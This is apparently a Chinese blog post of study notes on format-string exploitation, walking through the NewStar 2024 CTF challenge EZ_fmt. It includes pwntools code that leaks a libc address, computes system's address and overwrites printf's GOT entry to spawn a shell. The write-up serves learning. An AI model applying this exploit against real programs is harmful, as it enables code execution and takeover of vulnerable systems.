少女祈祷中...

今天在学fmt,觉得自己会忘记,写下这个

格式化字符串对应的转义

%d :十进制,输出十进制整数
%s : 字符串,从内存中读取字符串
%x : 十六进制,输出十六进制数
%c : 字符串,输出字符串
%n : 到目前为止缩写的字符串数
%p :输出指针所指的值(常用)

64位的大整数覆盖地址

我们直接从题目开始做
fmt_64
这个文件夹里已经有我的脚本了
做题之前记得将libc指定为里面给的
我们从这个题目将栈上的fmt彻底讲完
该题目为2024Newstar的EZ_fmt

我们先checksec一下
checksec
我们发现他没有开PIE,(我们可以直接调用里面的地址)
RELRO也没绿 (我们可以修改got表以调用我们需要的函数)

IDA逆向查看(由于是NewStar的题,main里另外一个是纯艺术字)
IDA看代码
我们Shift+F12再看,发现没有/bin/sh字符串
看字符串
所以我们需要自己造/bin/sh
题目的主函数是3次printf的fmt漏洞所以思路大概如下
1、第一个fmt泄露libc地址
2、第二个用fmt修改printf的got表,改为system的地址
3、输入/bin/sh,执行system(“/bin/sh”)

1. 泄露libc地址

这是ret2libc也常用到的方法,我们调用gdb来断点在call printf上。来确定我们要泄露的地方。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
from ctypes import *
context(arch = 'amd64', os = 'linux')
p = process('./pwn')

def lg(buf):
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')

gdb.attach(p, "b *0x40132A")
pause()

p.send("%p")

p.interactive()

这时运行,程序会停在pause()。等待gdb运行,然后我们再输入c继续运行至下一个断点
(其实就是第一个printf的断点),“%p”只是单纯为了跳过第一个read
这个时候stack 30,展开栈
stack
我们需要泄露的libc地址在0d的位置,由于是64的程序,所以还要加上6(6个寄存器),最后的偏移是19
这个地址对应的函数我们需要在libc.so.6中找(但我们其实不需要知道)

vmmap查看libc的基址
vmmap

差值在最后5位,地址长度为12位

1
2
3
p.send("%19$p")
p.recvuntil("0x")
base = int(p.recv(12),16) - 0xc6d90 + 0x9d000

这样的base就是每次程序运行时的libc基址

我们动调得到的libc
libc_system
即可得到system的地址
system = base + 0x50d70

2. 构造payload修改got表

1
2
3
4
5
6
7
8
low = system & 0xff
hig = (system >> 8) & 0xffff
payload = b"%" + str(low).encode() + b"c%12$hhn"
payload += b"%" + str(low-hig).encode() + b"c%13$hn"
payload = payload.ljust(0x20,b'a')
payload += p64(elf.got['printf']) + p64(elf.got['printf']+1)

p.send(payload)

%hhn改动0xff的长度对应的got地址要继续写的时候是+1,如果第一个写的是%hn,那就得+2
至于%12$是一样的,只要ljust的时候是8的整数倍即可(因为p64)(这里由于泄露0x30,而且前面的payload为0x19)
如果是32位,那就应该是%6$

我们只修改got地址的后6位,(因为printf跟system的地址只差了5个,6是为了凑偶)
这个方式不只可以更改got,也可以改其他地方的地址

3. 最后

因为我们已经更改printf为system,我们直接传入/bin/sh即可打通
github上的附件是根据原题作者的wp改的,做法不同之处在于用elf直接对libc文件读取偏移,而不用单独用gdb去查看,会快一点吧

小整数

直接在前面加入相应个数的字符就好了